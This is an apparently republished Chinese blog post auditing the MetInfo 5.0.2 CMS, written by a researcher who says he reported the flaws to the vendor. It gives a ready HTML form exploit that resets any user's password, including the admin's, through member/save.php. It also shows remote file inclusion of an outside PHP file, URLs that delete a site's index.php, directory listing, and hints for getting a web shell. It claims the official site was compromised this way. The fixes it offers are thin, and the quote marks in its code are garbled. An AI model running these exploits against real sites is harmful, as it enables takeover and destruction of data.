博客www.cnseay.com刚换域名不久,需要点原创文章。。。蛋疼找了几套CMS玩玩。。。以前个别程序挖的洞提交到官方,有的爱理不理的,搞得都不想提醒官方了….礼物什么不说了,起码说个谢谢嘛。。。不废话了。。。
官网找了个简单介绍:
MetInfo 企业网站管理系统采用 PHP+Mysql 架构,全站内置了 SEO 搜索引擎优化机制,支持用户自定义界面语言 ( 全球各种语言 ) ,拥有企业网站常用的模块功能(企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理)。强大灵活的后台管理功能、静态页面生成功能、个性化模块添加功能、不同栏目自定义 FLASH 样式功能等可为企业打造出大气漂亮且具有营销力的精品网站。
先看看程序结构
安装以后如果没删除install,下面有一个phpinfo.php (install/phpinfo.php) ,可以看下服务器信息。
一、越权修改任意用户密码漏洞通杀2.0 至最新 5.0.2 版本
看了下会员和管理员都在一个 met_admin_table 表,我们看到 member\save.php 文件,
<?php
require_once ’include/common.inc.php’;
if($action==]add]){
if($met_memberlogin_code==1){
require_once ’captcha.class.php’;
$Captcha= new Captcha();
if(!$Captcha->CheckCode($code)){
echo([<script type=’text/javascript’> alert(‘$lang_membercode’); window.history.back();</script>]);
exit;
}
}
$admin_if=$db->get_one([SELECT * FROM $met_admin_table WHERE admin_id=’$yhid’]);
if($admin_if){
okinfo(‘javascript:history.back();’,$lang_js15);
}
/* 省略不知道多少字。。。 */
没验证会员权限
这感情好(其他的还是过滤了的),再看下面的
if($action==]editor]){
$query = ]update $met_admin_table SET
admin_id = ’$useid’,
admin_name = ’$realname’,
admin_sex = ’$sex’,
admin_tel = ’$tel’,
admin_modify_ip = ’$m_user_ip’,
admin_mobile = ’$mobile’,
admin_email = ’$email’,
admin_qq = ’$qq’,
admin_msn = ’$msn’,
admin_taobao = ’$taobao’,
admin_introduction = ’$admin_introduction’,
admin_modify_date = ’$m_now_date’,
companyname = ’$companyname’,
companyaddress = ’$companyaddress’,
companyfax = ’$companyfax’,
companycode = ’$companycode’,
companywebsite = ’$companywebsite’];
if($pass1){
$pass1=md5($pass1);
$query .=], admin_pass = ’$pass1′];
}
$query .=] where admin_id=’$useid’];
$db->query($query);
啥都没过滤,我们直接提交一个表单就不搞定了么?写了个 EXP
<form method=]POST] name=]myform] action=]http://www.cnseay.com/member/save.php?action=editor] target=]_self]>
<table cellpadding=]2″ cellspacing=]1″ border=]0″ width=]95%] class=]table_member]>
<tr>
<td class=]member_text]><font color=]#FF0000″>*</font> 用户名 </td>
<td colspan=]2″ class=]member_input]> <input name=]useid] type=]text] class=]input] size=]20″ maxlength=]20″
value=]seay] ></td>
</tr>
<tr>
<td class=]member_text]><font color=]#FF0000″>*</font> 密码 </td>
<td colspan=]2″ class=]member_input]> <input name=]pass1″ type=]password] class=]input] size=]20″
maxlength=]20″></td>
</tr>
<td class=]member_submit]><input type=]submit] name=]Submit] value=] 提交信息 [ class=]submit]></td>
</tr>
</form>
复制以上内容,保存为 1.html ,用户名那里填用户名 ( 基本用户名都是 admin) ,密码填你要修改成的密码,修改 www.cnseay.com 为网站域名,提交以下,网站默认后台地址为 http:// 域名 /admin
测试了下官方Dome 站,成功修改创始人密码,看图
后台有个 ckfinder 编辑器( admin\ckfinder\ckfinder.html 这里就可以拿 shell 了 ),IIS6.0 或者阿帕奇的话之类解析洞的话,怎么拿 shell 你们懂得了。
后台有修改上传类型的地方,你们懂得,
修改了下,拿下了官网
好了,已经可以拿到 shell 了,
修复:在 member\save.php 文件头加入 require_once ’login_check.php’; 这个不除根,注册个用户登录就能简单绕过,下面就是在 updete 的时候 where user_id= 这个 ID 我们可以用 session 里面获取。就不要从表单获取了。。。
下面看另外一些东西。
二、文件包含漏洞(4.0 版至最新 5.0.2 版 )
漏洞文件 message /index.php
if(!$metid)
$metid=’index’;
if($metid!=’index’){
require_once $metid.’.php’; // 需要截断
}else{
/* 省略 */
}
本地包含的话,你们自个去截断吧。allow_url_include=On 的情况下,去准备一个 PHP 文件远程包含就行。
包含了http://www.2cto.com :88/1.php 这个文件
修复:
这个你们应该懂怎么处理,代码是不是要换个思路写?
三、多个任意文件删除漏洞删除一、
后台有个文件管理
漏洞文件是 admin/system/uploadfile.php ,看代码
if($action==’delete’){
$rurls.=’&fileurl=’.$fileurl.’&file_classnow=’.$file_classnow.’&page=’.$page;
if($action_type==]del]){
$allidlist=explode(‘,’,$allid);
$k=count($allidlist)-1;
for($i=0;$i<$k; $i++){
if(file_exists($allidlist[$i]))@unlink($allidlist[$i]);
}
metsave($rurls);
}else{
if(file_exists($filename)){
@unlink($filename);
metsave($rurls);
}else{
metsave($rurls,$lang_setfilenourl);
}
}
如果 action_type 不等于 [del] ,那么就会执行删除 filename ,比如我们想删除 首页文件,直接访问
http://www.cnseay.com/admin/system/uploadfile.php?filename=index.php&action=delete
删除二、
还有一个删除,是在 admin\system\database\recovery.php 文件
我们接着看 admin\system\database\recovery.php 文件
if($action==’delete’){
if(is_array($filenames)) {
foreach($filenames as $filename){
if(fileext($filename)==’sql’){
@unlink(‘databack/’.$filename);
}
}
}else{
if(fileext($filenames)==’sql’){
$filenamearray=explode([.sql],$filenames);
@unlink(‘databack/’.$filenames);
@unlink(‘databack/sql/metinfo_’.$filenamearray[0].].zip]);
}else{
@unlink(‘databack/’.$fileon.’/’.$filenames);
}
}
// 标红的这类我们可以 绕过,继续删除首页文件
http://www.cnseay.com/admin/system/database/recovery.php?&action=delete&filenames=index.php
删除三、
再看 Admin/system/database/filedown.php 文件,代码还是跟前一个一样的,再删首页文件
http://www.cnseay.com/admin/system/database/filedown.php?&action=delete&filenames=index.php
修复:你们懂的?
四、目录浏览漏洞漏洞文件是 admin/system/uploadfile.php ,看代码
function getDir($dir){
$fileArr = array();
$dp = opendir($dir);
while(($file = readdir($dp)) !== false) {
if($file !=].] AND $file !=]..] AND $file !=]") {
if(is_dir($dir.]/].$file)) {
$fileArr = array_merge($fileArr, getDir($dir.]/].$file));
$fileArr[] = $dir.]/].$file;
}
}
}
closedir($dp);
return $fileArr;
}
$fileurl2=$fileurl;
$metnowdir=]upload]; // 设定跟目录名称,我们可以 upload/ 绕过
$metdirfile=getDir(‘’.$metnowdir);
$i=0;
foreach($metdirfile as $val){
$fileclassarray=explode(‘/’,$val);
$fileclassnum=count($fileclassarray)-3;
$fileclassnum1=count($fileclassarray)-1;
$fileclass[$fileclassnum][$i][name]=$fileclassarray[$fileclassnum1];
$fileclass[$fileclassnum][$i][url]=$val;
$i++;
}
好了,我们再往下看
if($fileurl<>]")$metnowdir=$fileurl;
if($file_classnow==3){
$fileurl1=explode(‘/’,$fileurl);
$fileurl=$fileurl1[0].’/’.$fileurl1[1];
}
$metdir = new myDIR;
$metdir->setMASK([*.gif,*.txt,*.jpg*,*.rar*,*.jpeg*,*.doc*,*.pdf*,*.bmp*,*.png*,*.tif*,*.psd*,*.swf*,*.swf*]);
$metdir->setFIND([files]);
….//// 省略
设定了浏览的文件扩展名。。。只能看.gif,*.txt,*.jpg*,*.rar*,*.jpeg*,*.doc*,*.pdf*,*.bmp*,*.png*,*.tif*,*.psd*,*.swf*,*.swf* 这里面的扩展名的文件,蛋疼
http://www.cnseay.com/admin/system/uploadfile.php?anyid=&lang=cn&fileurl=upload/
可以浏览目录的文件了,
修复:
你们应该比俺懂。。。
不是漏洞的小建议
登陆后台了有个地方也看着蛋疼
登陆之后右键看源码,管理员密码直接在里面了。。。是想验证权限吧,其实有更好的办法的。。。。
好了,就看到这儿吧,本文档已经提交至官方,并通知官方修复 漏洞 ,欢迎基友们到俺博客玩 http://www.cnseay.com/ ,转载请保留来源,谢谢。 By:Seay 博客: http://www.cnseay.com/
查看更多关于MetInfo(米拓)企业网站管理系统5.0.2代码审计 漏的详细内容...